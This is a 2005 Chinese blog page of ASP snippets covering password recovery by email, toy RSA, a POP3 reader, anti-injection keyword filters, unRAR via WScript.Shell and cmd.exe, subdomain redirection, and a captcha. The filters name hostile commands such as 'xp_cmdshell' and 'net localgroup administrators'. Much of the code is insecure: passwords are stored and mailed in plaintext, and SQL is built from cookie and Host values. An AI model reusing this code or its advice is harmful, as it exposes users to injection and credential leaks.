至此,数据集就建立好了。在筛选里,我们之所以用阶段变量(Session Variable),是因为我们需要筛选出找回密码的用户。使用DW服务器行为的“登录用户”行为以后,登录者的名称(数据库中的MemberName字段)就自动保存在名为MM_Username的Session变量中。这们使用“MemberName=阶段变量MM_Username”作为筛选条件,自然可以筛选出想找回密码的用户了。
·接下来我们加入Jmail邮件发送代码。将Dreamweaver设计界面切换到显示代码视图,找见如下代码:
<%
Dim member__MMColParam
member__MMColParam = "1"
If (Session("MM_Username") <> "") Then
member__MMColParam = Session("MM_Username")
End If
%>
<%
set member = Server.CreateObject("ADODB.Recordset")
member.ActiveConnection = MM_spsguavaskirtdate_STRING
member.Source = "SELECT MemberID, MemberName, Password, MemberEmail FROM Member WHERE MemberName = '" + Replace(member__MMColParam, "'", "''") + "'"
member.CursorType = 0
member.CursorLocation = 2
member.LockType = 3
member.Open()
member_numRows = 0
%>
这是数据集形成的代码,然后在倒数第二行,即%>上一行,插入以下Jmail组件代码:
Set JMail = Server.CreateObject("JMail.SMTPMail")
JMail.ServerAddress = "mail.emaichina.net:25"
JMail.Sender = "emai@emaichina.net"
JMail.Subject = "您的登录密码"
JMail.AddRecipient(member.Fields.Item("MemberEmail").Value)
JMail.Body = "尊敬的用户您好,首先感谢您使用我们的服务!." & vbCrLf & vbCrLf
JMail.Body = JMail.Body & "您的用户名是:" &(member.Fields.Item("MemberName").Value) & vbCrLf
JMail.Body = JMail.Body & "您的注册邮箱是:" &(member.Fields.Item("MemberEmail").Value) & vbCrLf
JMail.Body = JMail.Body & "您的登录密码是:" &(member.Fields.Item("Password").Value) & vbCrLf
JMail.Body = JMail.Body & "请妥善保管您的密码,如再次遗忘密码,请登录至http://www.emaichina.net/member/memberpage/getbackpass.asp 取回您的密码,谢谢您使用本系统。" & vbCrLf
JMail.Body = JMail.Body & "顺祝商祺!" & vbCrLf
JMail.Body = JMail.Body & "译媒艺术咨询有限公司"
JMail.Priority = 3
JMail.AddHeader "Originating-IP", Request.ServerVariables("REMOTE_ADDR")
JMail.Execute

以上代码简单说明如下:
JMail.ServerAddress= 后面填上您的SMTP服务器,如"mail.emaichina.net:25,千万别忘了填端口号:25;
JMail.Sender= 后面填上您的邮箱,如emai@emaichina.net,请确保此邮箱可以正常收发邮件;
JMail.Subject = 后面输入信件标题,如"您的登录密码",切记,文本之间一定要加上“"”;
JMail.AddRecipient后面插入数据集member中的邮箱字段,如(member.Fields.Item("MemberEmail").Value);
JMail.Body =后面输入信件的称谓部分,如: "尊敬的用户您好,首先感谢您使用我们的服务!." & vbCrLf & vbCrLf
JMail.Body = 后面开始输入信件内容,如果是动态内容,那么插入数据集中的相应字段,如果是静态内容,则直接输入文本即可。每一段使用一个JMail.Body =,结尾都加上vbCrLf,有多少段就拷贝粘贴多少个JMail.Body =,这样就可以写出来一封完整的找回密码回复信。
关于vbCrLf说明:vbCrLf的作用是换行,您想空一行就加一个 vbCrLf,想空两行就加两个vbCrLf…但在vbCrLf和vbCrLf之间一定要加“&”符号将它们隔开,否则会出现错误提示。

●制作显示错误信息页面getbackpassfail.asp
如果用户名、密码错误或用户名和密码根本不存在,那么系统会转到显示错误信息页面,并且在2秒后自动返回“找回密码登录页面”。下面是制作方法:
打开getbackpassfail.asp,在页面中输入文本“您的邮箱不存在,请确认您在注册资料中填写了邮箱! ”,然后,打开DW软件菜单中的→插入”→“文件头标签”→“刷新”,“延迟”填上2,就是2秒,如果您想让页面保持时间更长,也可以填3秒、5秒甚至10秒;“操作”选择“转到URL”,填上getbackpass.asp,这样这个页面2秒钟后就会自动回到“找回密码登录页面”了。
OK!这个页面就做好了,很简单!

●测试这个找回密码系统
以上系统作好后,您可以测试一下。如果您在本地测试,并且不是用的Win98操作系统,那么需要安装Jmail邮件组件(这个组件可去下载网站下载,是免费的);如果您用的是Win98操作系统或您的计算机中没有安装Jmail邮件组件,那么,可把这个系统上传到支持Jmail邮件组件的服务器空间上,试着找回密码,如果没问题,说明您成功了。如果有问题,请仔细查看制作步骤或代码有没有错误,这里祝您好运!
说明:学会“找回密码系统”的制作方法后,您可以举一反三作一个会员注册后的邮件自动回复系统,也相当简单,大家可以试一下。

●“找回密码”邮件样式
以下是levitian测试本系统后,在Foxmail收到的邮件,样式基本上这样的:
------------------------------------------------
尊敬的用户您好,首先感谢您使用我们的服务!.

您的用户名是:levi
您的注册邮箱是:levitian@163.com
您的登录密码是:741127
请妥善保管您的密码,如再次遗忘密码,请登录至member/memberpage/getbackpass.asp 取回您的密码,谢谢您使用本系统。
顺祝商祺!

posted @ 2005-07-07 15:30 一天一点爱恋 阅读(174) | 评论 (0)编辑 收藏
 

有一页填表的页面,其中有几个下拉表单是通过一个表的某个字段动态
生成,比如省下面的城市名,希望选择某一个省即可自动在另一下拉表
单内生成城市名,.....然后提交给asp处理加入到另外一个表内。

<form name=f1 METHOD="POST">
<%
OpenDB objConn, "xxxx"
Set RSClass = objConn.Execute("SELECT * FROM class Order by fldClass")
If RSClass.EOF Then
Response.Write "没有记录。<BR>"

Else

Response.Write "<SELECT NAME=""class"" style=""FONT-SIZE: 9pt"" SIZE=10" & _
" ONCHANGE=""classselected(this);"" >"
sjavascript = "function classselected(elem){" &_
vbCrlf & _
"for (var i = document.f1.sort.options.length; i >= 0; i--){" & vbCrlf & _
"document.f1.sort.options[i] = null;" & _
vbCrlf
Do Until RSClass.EOF
If sLastClass <> RSClass("fldClass") Then
sLastClass = RSClass("fldClass")
Response.Write "<OPTION VALUE=" & RSClass("fldID") & ">" & sLastClass & "</OPTION>"
sjavascript = sjavascript & "}" & vbCrlf & _
"if (elem.options[elem.selectedIndex].value==" & _
RSClass("fldID") & "){" & vbCrlf
End If
sjavascript = sjavascript & _
"document.f1.sort.options[document." & _
"f1.sort.options.length] = new Option('" & _
RSClass("fldSort") & "','" & RSClass("fldID") & "');" & _
vbCrlf
RSClass.MoveNext
Loop
Response.Write "</SELECT>"
Response.Write "<SELECT NAME=""sort"" style=""FONT-SIZE: 9pt"" SIZE=10>"
Response.Write "<OPTION>[请选择]</OPTION>"
Response.Write "</SELECT>"

sjavascript = sjavascript & vbCrlf & "}" & vbCrlf & "}" & vbCrlf
Response.Write "<SCR" & "IPT LANGUAGE=""javascript"">" & vbCrlf
Response.Write sjavascript & vbCrlf & "</SCR" & "IPT>" & vbCrlf
End If
RSClass.Close
Set RSClass = Nothing%>
</form>

posted @ 2005-07-07 15:27 一天一点爱恋 阅读(244) | 评论 (0)编辑 收藏
 

在ASP中加密方法有对应的解密方法好象不多,现在根据前辈资料整理出在asp中加密与解密函数

rsa.asp
<%
rem 在ASP中实现加密与解密,加密方法:根据RSA
rem 联系:hnsoso@sina.com
Class clsRSA

  Public PrivateKey
  Public PublicKey
  Public Modulus
  
  
  
  Public Function Crypt(pLngMessage, pLngKey)
    On Error Resume Next
    Dim lLngMod
    Dim lLngResult
    Dim lLngIndex
    If pLngKey Mod 2 = 0 Then
      lLngResult = 1
      For lLngIndex = 1 To pLngKey / 2
        lLngMod = (pLngMessage ^ 2) Mod Modulus
        ' Mod may error on key generation
        lLngResult = (lLngMod * lLngResult) Mod Modulus
        If Err Then Exit Function
      Next
    Else
      lLngResult = pLngMessage
      For lLngIndex = 1 To pLngKey / 2
        lLngMod = (pLngMessage ^ 2) Mod Modulus
        On Error Resume Next
        ' Mod may error on key generation
        lLngResult = (lLngMod * lLngResult) Mod Modulus
        If Err Then Exit Function
      Next
    End If
    Crypt = lLngResult
  End Function

  Public Function Encode(ByVal pStrMessage)
    Dim lLngIndex
    Dim lLngMaxIndex
    Dim lBytAscii
    Dim lLngEncrypted
    lLngMaxIndex = Len(pStrMessage)
    If lLngMaxIndex = 0 Then Exit Function
    For lLngIndex = 1 To lLngMaxIndex
      lBytAscii = Asc(Mid(pStrMessage, lLngIndex, 1))
      lLngEncrypted = Crypt(lBytAscii, PublicKey)
      Encode = Encode & NumberToHex(lLngEncrypted, 4)
    Next
  End Function
  
  Public Function Decode(ByVal pStrMessage)
    Dim lBytAscii
    Dim lLngIndex
    Dim lLngMaxIndex
    Dim lLngEncryptedData
    Decode = ""
    lLngMaxIndex = Len(pStrMessage)
    For lLngIndex = 1 To lLngMaxIndex Step 4
      lLngEncryptedData = HexToNumber(Mid(pStrMessage, lLngIndex, 4))
      lBytAscii = Crypt(lLngEncryptedData, PrivateKey)
      Decode = Decode & Chr(lBytAscii)
    Next
  End Function
  
  Private Function NumberToHex(ByRef pLngNumber, ByRef pLngLength)
    NumberToHex = Right(String(pLngLength, "0") & Hex(pLngNumber), pLngLength)
  End Function

  Private Function HexToNumber(ByRef pStrHex)
    HexToNumber = CLng("&h" & pStrHex)
  End Function

End Class
%>

test.asp
<!--#INCLUDE FILE="RSA.asp"-->
<%
function Encryptstr(Message)
Dim LngKeyE
Dim LngKeyD
Dim LngKeyN
Dim StrMessage
Dim ObjRSA


  LngKeyE = "32823"
  LngKeyD = "20643"
  LngKeyN = "29893"
  StrMessage = Message
  
  Set ObjRSA = New clsRSA
  
 
      ObjRSA.PublicKey = LngKeyE
      ObjRSA.Modulus = LngKeyN
      Encryptstr = ObjRSA.Encode(StrMessage)
  Set ObjRSA = Nothing
end function


function decryptstr(Message)
Dim LngKeyE
Dim LngKeyD
Dim LngKeyN
Dim StrMessage
Dim ObjRSA


  LngKeyE = "32823"
  LngKeyD = "20643"
  LngKeyN = "29893"
  StrMessage = Message
  
  Set ObjRSA = New clsRSA

      ObjRSA.PrivateKey =LngKeyD
      ObjRSA.Modulus=LngKeyN
      decryptstr=ObjRSA.Decode(StrMessage)
  Set ObjRSA = Nothing
end function

dim last,first
first="sohu"
Response.Write "加密前为:"&first
last=Encryptstr(first)
Response.Write "加密后为"&last
Response.Write "解密后为" &decryptstr(last)

%>

posted @ 2005-07-07 15:24 一天一点爱恋 阅读(150) | 评论 (0)编辑 收藏
 

<SCRIPT language="javascript">
  function IfWindowClosed()
  {  
    var win = null;
    try
    {
      window.opener.name = "ss";
      if ( window.opener.name != "ss" )
      {
        win = window.open("quit.asp","","width=100,height=100,left=10000,top=10000");
        window.setTimeout("window.close();",0);
      }
      window.opener.name = "";
    }
    catch(e)
    {
      win = window.open("quit.asp","","width=100,height=100,left=10000,top=10000");
      window.setTimeout("window.close();",0);
    }
  }
  
  window.setInterval("IfWindowClosed()",100);
  window.setTimeout("window.close();",510);
</SCRIPT>
---------------

用onunload事件打开上面的文件

quit.asp为保存数据的文件,上面的文件用来检测窗口是关闭还是刷新

ie5兼容,以前使用 window.opener.closed来判断,ie5不支持closed 属性。
上面的代码经过多次测试,暂时没有发现问题

posted @ 2005-07-07 15:23 一天一点爱恋 阅读(186) | 评论 (0)编辑 收藏
 
<%  Set pop3 = Server.CreateObject( "JMail.POP3" )
  
  'pop3的连接用户名,密码,pop3地址
  pop3.Connect "username", "password", "mail.mydomain.com"

  Response.Write( "你有" & pop3.count & " 封邮件。<br><br>" )

  if pop3.count > 0 then
    Set msg = pop3.Messages.item(1)     
    ReTo = ""
    ReCC = ""
    
    Set Recipients = msg.Recipients
    separator = ", "
    
    ' 现在得到所有的收件人,并且存储
    
    For i = 0 To Recipients.Count - 1
        If i = Recipients.Count - 1 Then
            separator = ""
        End If
    
        Set re = Recipients.item(i)
        If re.ReType = 0 Then
            ReTo = ReTo & re.Name & "&nbsp;(<a href=""mailto:"& re.EMail &""">" & re.EMail & "</a>)" &
separator
        else
            ReCC = ReTo & re.Name & "&nbsp;(<a href=""mailto:"& re.EMail &""">" & re.EMail & "</a>)" &
separator
        End If
    Next
    
    '这个程序得到附件,并且保存到服务器的硬盘上。也可以返回附件的详细连接
    Function getAttachments()
          Set Attachments = msg.Attachments
          separator = ", "
    
          For i = 0 To Attachments.Count - 1
            If i = Attachments.Count - 1 Then
                separator = ""
             End If
    
             Set at = Attachments(i)
             at.SaveToFile( "c:\EMail\attachments\" & at.Filename )
             getAttachments = getAttachments & "<a href=""/EMail/attachments/" & at.Filename &""">" &_
                                 at.FileName & "(" & at.Size  & " bytes)" & "</a>" & separator
          Next
    End Function
      
    %>    
    <html>
      <body>
        <TABLE>
          <tr>
            <td>邮件标题</td>
            <td><%= msg.Subject %></td>
          </tr>
          <tr>
            <td>发件人</td>
            <td><%= msg.FromName %></td>
          </tr>
          <tr>
            <td>收件人</td>
            <td><%= ReTO %></td>
          </tr>
          <tr>
            <td>抄送</td>
            <td><%= ReCC %></td>
          </tr>
          <tr>
            <td>附件</td>
            <td><%= getAttachments %></td>
          </tr>
          <tr>
            <td>内容</td>
            <td><pre><%= msg.Body %></pre></td>
          </tr>        
        </TABLE>
      </body>
    </html>

<%  end if

  pop3.Disconnect

%>
posted @ 2005-07-07 15:12 一天一点爱恋 阅读(179) | 评论 (0)编辑 收藏
 
提交时可能会有人修改script从本地提交,这样存在安全提交的问题,所以应该要求从服务器断路径提交,其他地址提交提交无无效:
<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style='font:9pt Verdana'>"
response.write "你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!"
response.write "</td></tr></table></center>"
response.end
end if
%>




防止从外部提交数据的方法:
*******************************

第一种做法,屏蔽特殊字符和关键字

fqys=request.servervariables("query_string")

dim nothis(18)

nothis(0)="net user"

nothis(1)="xp_cmdshell"

nothis(2)="/add"

nothis(3)="exec%20master.dbo.xp_cmdshell"

nothis(4)="net localgroup administrators"

nothis(5)="select"

nothis(6)="count"

nothis(7)="asc"

nothis(8)="char"

nothis(9)="mid"

nothis(10)="'"

nothis(11)=":"

nothis(12)=""""

nothis(13)="insert"

nothis(14)="delete"

nothis(15)="drop"

nothis(16)="truncate"

nothis(17)="from"

nothis(18)="%"

errc=false

for i= 0 to ubound(nothis)

if instr(FQYs,nothis(i))<>0 then

errc=true

end if

next

if errc then

response.write "<script language=""javascript"">"

response.write "parent.alert('很抱歉!你正在试图攻击本服务器或者想取得本服务器最高管理权!将直接转向首页..');"

response.write "self.location.href='default.asp';"

response.write "</script>"

response.end

end if


第二种可以防止客户从本地提交到网站上

<%

server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))

server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))

if mid(server_v1,8,len(server_v2))<>server_v2 then

response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"

response.write "<tr><td style=font:9pt Verdana>"

response.write "你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!"

response.write "</td></tr></table></center>"

response.end

end if

%>


第三。这样可以防止在输入框上打上or 1=1 的字样

If Instr(request("username"),"=")>0 or

Instr(request("username"),"%")>0 or

Instr(request("username"),chr(32))>0 or

Instr(request("username"),"?")>0 or

Instr(request("username"),"&")>0 or

Instr(request("username"),";")>0 or

Instr(request("username"),",")>0 or

Instr(request("username"),"'")>0 or

Instr(request("username"),"?")>0 or

Instr(request("username"),chr(34))>0 or

Instr(request("username"),chr(9))>0 or

Instr(request("username"),"")>0 or

Instr(request("username"),"$")>0 or

Instr(request("username"),">")>0 or

Instr(request("username"),"<")>0 or

Instr(request("username"),"""")>0 then

posted @ 2005-07-07 15:11 一天一点爱恋 阅读(147) | 评论 (0)编辑 收藏
 
其实想实现这种功能很简单,首先要上传一个RAR的解压程序,就是RAR自己的解压程序,只需要它的核心 
程序RAR.EXE这个文件就可以了。然后就要上传一个执行RAR.EXE的程序 CMD.EXE 这个是windows里的程序(不必我在多说了吧)。最后就开始执行这些程序了。看一下下面的代码 

<% 

dim ylj,ywj,Mlpath,Shell,rarcomm,RetCode,cmd,comm,fso 

Mlpath="E:\page\mian\"  '存放RAR.EXE和CMD.EXE的路径 

ylj=Server.mappath("mian")&"\" '解压文件后所放的路径 

ywj=Server.mappath("mian\apathy.rar") '要解压的RAR文件 

Set Shell = Server.CreateObject("WScript.Shell") 

rarcomm= "E:\page\mian\cmd.exe /c "&Mlpath&"rar.exe x -t -o+ -p- " 

cmd=rarcomm&ywj&" "&ylj 

RetCode = Shell.Run(cmd,1, True) 

%> 

  就是用Server.CreateObject("WScript.Shell")来执行CMD.EXE来运行RAR.EXE文件来解压RAR文件的。 
以前不知道是否有前辈们发表过这些文章,但那位兄弟有兴趣的可以以用这种方法来实现诸多类似与这样的程序,希望你们可以找到一些更好的方法。 
posted @ 2005-07-07 15:02 一天一点爱恋 阅读(153) | 评论 (0)编辑 收藏
 
要达到二级名的效果,必须一下条件以及流程:
1、必须有一个顶级域名,而且此域名必须做好泛解析并做好指向。
2、必须有一台独立的服务器。泛解析的域名指向该服务器。
3、在服务器上的IIS建一个空的主机头名的web站点。
4、将默认的页面设置为你的二机解析程序(比如:freedns.asp)
5、二级域名系列程序(包括申请页:shenqing.htm,添加页add.asp,解析页,)


此程序的优点:
a,可以限制申请域名的敏感字,比如 hacker,wwww,sex,china等
b, 可以限制申请域名的非法字,比如:!·#¥%……—*()——?‘“/等
c, 每个地址只能申请一个域名。
d,限制申请域名的长度,
e, 如果用户所访问的域名没人申请则转到特定的页面,本例中的http://www.51bxg.com/miss.html
f, 申请了域名:***.yourname.com 可以同时支持:http://***.yourname.com 以及http://www.***.youranme.com 两个域名的访问。


一下为系列程序代码:
shenqing.htm

<form action=adddns.asp method=post name=Frm onSubmit="return check_input()"> <br>             <font color=red>加*号为必填内容</font>                  <br>
       您想注册的域名:           
                      http://<input  name="nowurl" size=12& ... sp;      
                                style=" BORDER-BOTTOM: 1px double; BORDER-LEFT: 1px double; BORDER-RIGHT: 1px double; BORDER-TOP: 1px double; COLOR: #000000; FONT-SIZE: 9pt"> .51bxg.com        
               <br>
你实际的网站地址:
      <input  name="tourl" size=12           
                                style=" BORDER-BOTTOM: 1px double; BORDER-LEFT: 1px double; BORDER-RIGHT: 1px double; BORDER-TOP: 1px double; COLOR: #000000; FONT-SIZE: 9pt">
你要求显示的title:
    <input  name="company" size=12           
                                style=" BORDER-BOTTOM: 1px double; BORDER-LEFT: 1px double; BORDER-RIGHT: 1px double; BORDER-TOP: 1px double; COLOR: #000000; FONT-SIZE: 9pt">


<br>
          <input type="submit" name="Submit" value=" 提 交 信 息 " style="border:1px double rgb(88,88,88);font:9pt">
             
          <input type="reset" name="Reset" value=" 重 新 填 写 " style="border:1px double rgb(88,88,88);font:9pt">
                  </p>
      </form>


   添加记录页面add.asp
<!--#include file="char.inc"-->
<!--#include file="conn.asp"-->
<%
uID=request.cookies("*****")
%>
<%
   dim nowurl,tourl,company,along,pbkey
   nowurl=trim(request.form("nowurl"))+".51bxg.com"
   nurl=trim(request.form("nowurl"))
   tourl=trim(request.form("tourl"))
   company=trim(request.form("company"))
   along=20
   pbkey="www,sex,admin,w,ww,wwww,hacker,hack"


   set rs=server.createobject("adodb.recordset")
   sql="select * from dns where userid='"&uid&"'"
   rs.open sql,conn,1,1
   if not rs.EOF then
   response.write"很抱歉,你已经申请过二级域名,每个用户只能申请一个二级域名!<br>你申请的二级域名是:http://"+rs("nowurl")
   response.end
   end if


   set rs=server.createobject("adodb.recordset")
   sql="select * from dns where nowurl='"&nowurl&"'"
   rs.open sql,conn,1,1
   if not rs.eof then
   response.write"很抱歉,你申请的域名:http://"+nowurl+"已经被其他公司申请,请另外申请域名。"
   response.end
   end if
  
   if len(nurl)>along then
   response.write"很抱歉,你输入的域名太长,请重新输入"
   response.end 
   end if

   if instr(pbkey,nurl) then
   response.write"很抱歉,你输入的域名因为含有敏感字而不管理员屏蔽,请重新输入。" 

 
 

--------------------------------------------------------------------------------
   response.end
   end if

'判断字符的合法性
if instr(nurl,"~") or instr(nurl,"`") or instr(nurl,"/") or instr(nurl,"?") or instr(nurl,">") or instr(nurl,"<") or instr(nurl,";") or instr(nurl,":") or instr(nurl,"}") or instr(nurl,"{") or instr(nurl,")") or instr(nurl,"(") or instr(nurl,"*") or instr(nurl,"&") or instr(nurl,"^") or instr(nurl,"%") or instr(nurl,".") or instr(nurl,",") or instr(nurl,"'") or instr(nurl,"~") or instr(nurl,"!") or instr(nurl,"$") then
   response.write"很抱歉,你输入的域名含有非法字符,请重新输入,以下字符为非法字符:<br>~ ` / ? > < ; : } { ) ( * & ^ % $ # @ !  "
   response.end
end if


   set rs=server.createobject("adodb.recordset")
   sql="select * from ** where theid is null"
   rs.open sql,conn,3,3
   rs.addnew
   rs("userid")=uID
   rs("nowurl")=nowurl
   rs("tourl")=tourl
   rs("company")=company
   rs.update
   response.write"祝贺,申请成功,你马上就可使用你的域名:http://"+nowurl
%> 


域名解吸程序: freedns.asp
<!--#include file="conn.asp"-->
<%
dim geturl
geturl=replace(Request.ServerVariables("HTTP_HOST"),"www.","")

   set rs=server.createobject("adodb.recordset")
   sql="select * from tb where nowurl='"&geturl&"'"
   rs.open sql,conn,1,1
   if rs.eof then
   response.redirect"http://www.51bxg.com/miss.html"
   else
   dim tourl,company
   tourl=rs("tourl")
   company=rs("company")
%>
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=gb2312">
<META CONTENT="text/html; CHARSET=UTF-8" HTTP-EQUIV="Content-Type">
<TITLE><% =company %></TITLE>
</HEAD>


<frameset frameborder="0" framespacing="0" scrolling="no" border="0" marginheight="0" marginwidth="0" rows="0,*">
<frame scrolling="NO" noresize="0" marginwidth="0" marginheight="0" framespacing="0" frameborder="0" target="main" name="main" SRC="about:blank">

<frame scrolling="yes" noresize="0" marginwidth="0" marginheight="0" framespacing="0" frameborder="0" target="main" name="main" SRC="<% =tourl %>">

<noframes>
<body>
<p>This page uses frames, but your browser doesn't support them.</p></body>
</noframes>
</frameset>
</HTML>
<% end if %>
posted @ 2005-07-07 15:01 一天一点爱恋 阅读(156) | 评论 (0)编辑 收藏
 

要读懂这些代码主要是要了解ASP中操作二进制数据的对象ADODB.Stream!本程序主要用的就是Adodb.Stream,如果你有这个基础,就可以进一步添加更多的功能如加入杂点,渐变底色,数字行列错位,笔画短点,提高被ocr识别的不可能。目前还没有好的识别引擎,昨天下载了个号称能识别图像验证码90%的!把4321识别成 89910,所以图像码还是比较安全的。

在网上看到有暴力破解的方法,如果我用图像附加码+禁止外部提交+10次密码错误封帐号 +50次密码错误琐死IP+10秒的防刷新间隔注册页,登陆页均要加上+禁止外部提交,这样,暴力破解应该就没戏了。

Asp文件:Code.Asp
数据文件:body.Fix , Head.Fix
用法:<img src="code.asp">

Response.buffer = true
NumCode

Function NumCode()
Response.Expires = -1
Response.AddHeader "Pragma","no-cache"
Response.AddHeader "cache-ctrol","no-cache"
dim zNum,i,j
dim Ados,Ados1
Randomize timer
生成随机四位数字:
zNum = cint(8999*Rnd+1000)
传递给session
Session("GetCode") = zNum
该for循环是将随机数字放入一个下标3的数组,便于提供给后面的阵列变换
dim zimg(3),NStr
NStr=cstr(zNum)
For i=0 to 3
zimg(i)=cint(mid(NStr,i+1,1))
Next
dim Pos

'定义二个 ADODB.Stream binary对象,作图像数据操作之用:

set Ados=Server.CreateObject("Adodb.Stream")
Ados.Mode=3
Ados.Type=1
Ados.Open
set Ados1=Server.CreateObject("Adodb.Stream")
Ados1.Mode=3
Ados1.Type=1
Ados1.Open
'载入0~9的数字数据10x100的,Gbr的阵列数据,每个320字节,10个数字3200byte
'BGR一个点,10x10个点一个数字,一个点三个字节(二进制8位,16进制 00~FF)
'一行10个点 30字节 + 行结束标记 00 00 二字节 32字节,所以一个10x100宽小于长的图像每个数字10x10是320字节
'长大于宽的则无行结束标记 0000,直接是300字节
这些就是BMP 24bit的数据详细信息了
‘至于头部,也很简单,包含长宽,图像开始标记等等~~才54字节,远没jpg什么的复杂

Ados.LoadFromFile(Server.mappath("body.Fix"))
Ados1.write Ados.read(1280)
'第一个for循环,按生成的随机数字顺序从 10X100的数字阵列中提取出相应的四个数字
但是竖排的数字阵列
for i=0 to 3
Ados.Position=(9-zimg(i))*320
Ados1.Position=i*320
Ados1.write ados.read(320)
next
'清空已经用完的ADOS的数据,调入替换新的图像头54字节的头文件
Ados.LoadFromFile(Server.mappath("head.fix"))
Pos=lenb(Ados.read())
Ados.Position=Pos '指定Pos位置,即可再偏移54字节的位置添加图形数据
第二个for循环,进行数字的阵列变换,由竖排的块转换为横排的数字块
方法是隔320字节抽取4次30字节写入ados对象,再抽取偏移第二行的图像数据
30字节是因为bmp 宽大于长时无00 00的行结束标记
for i=0 to 9 step 1
for j=0 to 3
Ados1.Position=i*32+j*320
Ados.Position=Pos+30*j+i*120
Ados.write ados1.read(30)
next
next
Ados.Position=0
response.BinaryWrite直接向客户端发送图像数据
Response.ContentType = "image/BMP"
Response.BinaryWrite Ados.read()
Ados.Close:set Ados=nothing
Ados1.Close:set Ados1=nothing
End Function

posted @ 2005-07-07 14:49 一天一点爱恋 阅读(138) | 评论 (0)编辑 收藏
 
 每一个程序语言或开发工具都有一定的函数与用户进行沟通,Asp同样如此。在Asp中负责将信息传递给用户的对象就是Response对象。Response对象用于动态响应客户端请求(Request),并将动态生成的响应结果返回到客户端浏览器中,使用Response对象可以直接发送信息给浏览器、重定向浏览器到另一个 URL 或设置 cookie 的值等等。 Response对象在asp编程中非常广泛,也是一种非常好用的工具。下面我们来具体看看Response对象:

语法:
Response.collection|property|method

一、集合
Response 对象只有一个集合 --Cookies,Cookies数据集合允许将数据设置在客户端的浏览器中。若指定的 cookie 不存在,则创建它。若存在,则自动更新数据。

语法:Response.Cookies(Cookie)[Key.Attribute]

这里的 cookie 是指定 cookie 的名称。而如果指定了 key,则该 cookie 就是一个字典。attribute 指定 cookie 自身的有关信息。attribute 参数可以是下列之一 :

   Domain 只写。若被指定,则 cookie 将被发送到对该域的请求中去。

   Expires 只写。指定 cookie 的过期日期。为了在会话结束后将 cookie 存储在客户端磁盘上,必须设置该日期。若此项属性的设置未超过当前日期,则在任务结束后 cookie 将到期。

   HasKeys 只读。指定 cookie 是否包含关键字。

   Path 只写。若被指定,则 cookie 将只发送到对该路径的请求中。如果未设置该属性,则使用应用程序的路径。

Secure 只写。指定Cookie是否安全。

示例:

<%
Response.Cookies("wrclub")("weburl")="http://www.wrclub.net"
Response.Cookies("wrclub").path="/wrclub/"
Response.Cookies("wrclub").Expires=#2003-11-30#
%>

二、方法

Response.AddHeader Name,Value

向应答中添加一个新的HTML标题。Name为新HTML标题的名称。Value为该头变量的值。你可以添加任何名称和任何值的HTML标题。它并不替代现有的同名标题。一旦标题被添加,将不能删除。

Response.AppendToLog String

向Web服务器的日志条目的末尾添加一字符串。String为要添加到日志文件中的字符串。

Response.BinaryWrite Data

该方法可以不经任何字符转换就将制定的信息写到HTTP输出,主要用于写非字符串信息(如客户端应用程序所需的二进制数据等)。Data是要发送的数据。

Response.Clear

删除缓冲区的所有HTML输出,但只删除响应正文而不删除响应标题。可以用该方法处理错误情况。需要注意的是,如果Response.Buffer设置为True,则该方法将导致运行是错误。

Response.End

强迫Web服务器停止执行更多的脚本,并发送当前结果,文件中剩余的内容将不被处理。如果Response.Buffer设置为True,则调用Response.end将缓冲输出。

Response.Flush

对于一个缓冲的回应,发送所有的缓冲信息。如果Response.Buffer设置为True,则该方法将导致运行是错误。

Response.Redirect URL

将客户端的浏览器重定向到一个新的Internet地址。Url为新网页的Internet地址。

Response.Write Variant

Response.Write是Response对象最常用的方法,该方法可以向浏览器发送字符串。Variant是一字符串或一个具有字符串值的变量。

三、属性

Response.Buffer

缓冲一Active Server Page。回应只到某一页结束或Response.Flush或Response.End方法调用时才发送出去。服务器将输出送给客户端后就不能再设置Buffer属性。

Response.CacheControl

指明是否Proxy服务器能缓存Active Server Page。缺省时,其值为FALSE 。当设置其属性为Public时,Proxy服务器可以缓冲由Asp产生的输出。

Response.CharSet(Charsetname)

将字符集名称(如GB)附加到Response对象中content-type标题的后面,用来设置web服务器响应给客户端的文件字符编码。一个可能的值为“ISO_LATIN_1”。

Response.ContentType

指明回应内容的类型。可能的值为text/plain和image/GIF,默认值text/HTML。

Response.Expires

浏览器可以缓存当前页的时间长度,以分钟为单位。

Response.ExpiresAbsolute

浏览器不能再缓存当前页的日期和时间。在未到期之前,可以返回。如果未指定时间,该主页在当天午夜到期;如果未指定日期,则到当天指定时间到期。

True/False = Response.IsClientConnected

属性为只读,指明自上次调用Response.Write之后,客户端是否仍然和服务器连接。该属性允许用户在客户端和服务器没有联接的情况下有更多的控制。例如,在从客户端提出请求起到服务器做出相应,其间要用去很长一段时间的情况下,这就可能有助于确保在继续处理脚本之前客户端仍是连通的。具有值TRUE或FALSE。

Response.PICS (PICS 字符串)

用于添加网页的PICS等级。PICS级别指明某一网页的内容级别,比如暴力或色情的程度等。

Response.Status = "状态描述字符串"

用来设置Web服务器要响应的状态行的值。

posted @ 2005-07-07 14:48 一天一点爱恋 阅读(181) | 评论 (0)编辑 收藏
 

用过软件的朋友都知道,进度条是一个优秀软件的重要组成部分。
它的存在能够使用户及时掌握程序的运行进度,确认应用程序正常工作。可是ASP中似乎没有上述标准控件,控制起来也比较麻烦。
那幺如何实现进度条呢?
以下是本人的一些观点(仅供参考)
我们通常在用ASP处理程序(指的是写文件或操作数据库)的时候,会专门用一个页面(*.asp)去处理或控制这些程序,当处理完毕的时候再跳转到显示页面。这时我们就可以通过这些处理页面显示进度条。其方法是根据程序处理的进度依次画一百张同样的图形(如有颜色的矩形),从而形成进度条。其效果与用其它编程工具所实现的基本相似
以下是一些Source,希望能够给各位有个启发。
response.buffer=true
dim lostnum
dim shownum
delayshow(dstep,dmax)过程是用于显示多少img(画多少进度)
其中dmax为表示整个程序需要处理多少(dmax)步才能完成整个处理程序.
其中dstep表示当前处理的步骤占整个处理过程中的分量,用数量表示。
